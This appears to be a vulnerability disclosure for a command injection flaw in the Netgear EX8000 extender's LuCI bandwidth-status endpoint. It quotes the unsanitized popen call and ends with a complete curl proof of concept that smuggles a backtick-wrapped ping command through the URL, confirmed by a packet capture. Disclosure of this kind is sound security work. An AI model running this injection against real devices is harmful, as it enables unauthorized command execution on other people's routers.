

# Netgear EX8000 V1.0.0.126

## action\_bandwidth Command Injection Vulnerability

### Product Information

```
1 Brand: Netgear
2 Model: EX8000
3 Firmware Version: v1.0.0.126
4 official website: https://www.netgear.com/
5 Firmware Download URL:
  https://www.downloads.netgear.com/files/GDC/EX8000/EX8000-v1.0.0.126.zip
```

### Affected Component

```
1 The `iface` parameter in the `action_bandwidth` function within the file:
2 \usr\lib\lua\luci\controller\admin\status.lua
```

### Vulnerability Details

In the file `\usr\lib\lua\luci\controller\admin\status.lua`, an API endpoint is defined at `admin/status/realtime/bandwidth_status`, which triggers the `action_bandwidth` function. This function is vulnerable to **command injection** due to insufficient sanitization of the `iface` parameter.

```
7 function index()
8     entry({"admin", "status"}, alias("admin", "status", "overview"), _("Status"), 20).index = true
9     entry({"admin", "status", "overview"}, template("admin_status/index"), _("Overview"), 1)
10    entry({"admin", "status", "iptables"}, call("action_iptables"), _("Firewall"), 2).leaf = true
11    entry({"admin", "status", "routes"}, template("admin_status/routes"), _("Routes"), 3)
12    entry({"admin", "status", "syslog"}, call("action_syslog"), _("System Log"), 4)
13    entry({"admin", "status", "dmesg"}, call("action_dmesg"), _("Kernel Log"), 5)
14    entry({"admin", "status", "processes"}, cbi("admin_status/processes"), _("Processes"), 6)
15
16    entry({"admin", "status", "realtime"}, alias("admin", "status", "realtime", "load"), _("Realtime Graphs"), 7)
17
18    entry({"admin", "status", "realtime", "load"}, template("admin_status/load"), _("Load"), 1).leaf = true
19    entry({"admin", "status", "realtime", "load_status"}, call("action_load")).leaf = true
20
21    entry({"admin", "status", "realtime", "bandwidth"}, template("admin_status/bandwidth"), _("Traffic"), 2).leaf = true
22    entry({"admin", "status", "realtime", "bandwidth_status"}, call("action_bandwidth")).leaf = true
23
```

```

63 function action_bandwidth(iface)
64     luci.http.prepare_content("application/json")
65
66     local bwc = io.popen("luci-bwc -i %q 2>/dev/null" % iface)
67     if bwc then
68         luci.http.write("[")
69
70         while true do
71             local ln = bwc:read("*l")
72             if not ln then break end
73             luci.http.write(ln)
74         end
75
76         luci.http.write("]")
77         bwc:close()
78     end
79 end

```

## Attack

As shown in the following figure, when injecting the command `ping -c 6 192.168.31.166` into the parameters, the Wireshark packet capture results confirm that the command was successfully executed. Specifically, **6 ICMP Request packets** sent from 192.168.31.239 to 192.168.31.166 were captured.

The screenshot displays a web browser window on the left and a Wireshark network traffic capture on the right. The browser shows a GET request to the URL `/admin/status/realtime/bandwidth_status/?ping=20-c%2B6%2`. A green box highlights the injected command `ping -c 6 192.168.31.166` in the URL. The Wireshark window shows a packet capture on interface `eth0` with a filter `icmp && ip.addr == 192.168.31.166`. The packet list shows 6 ICMP Echo (ping) request packets from 192.168.31.239 to 192.168.31.166, numbered 1 to 6. The packet details pane shows the first packet's structure: `1 HTTP/1.1 200 OK`, `2 Connection: close`, `3 Content-Type: application/json`, `4 Cache-Control: no-cache`, `5 Expires: 0`, `6 Content-Length: 2`.

## POC

```
1 curl --path-as-is -i -s -k -X $'GET' \  
2   -H $'Host: 192.168.31.239' -H $'Cache-Control: max-age=0' -H  
   $'Authorization: Basic MTC5ODQ0MjQ3MkxBxcS5jb206MTIzNDU2Nzg=' -H $'Accept-  
   Language: en-US' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent:  
   Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like  
   Gecko) Chrome/126.0.6478.127 Safari/537.36' -H $'Accept:  
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i  
   mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-  
   Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \  
3   -b $'sysauth=e987216b419d322ff7b08f9bdf290d6b; sessionEnable=1;  
   dsessid=62994777' \  
4   $'http://192.168.31.239/cgi-  
   bin/luci/;stok=13d701715b2f6f698b4bdd853fc87570/admin/status/realtime/bandwid  
   th_status/%60ping%20-c%206%20192.168.31.166%60'
```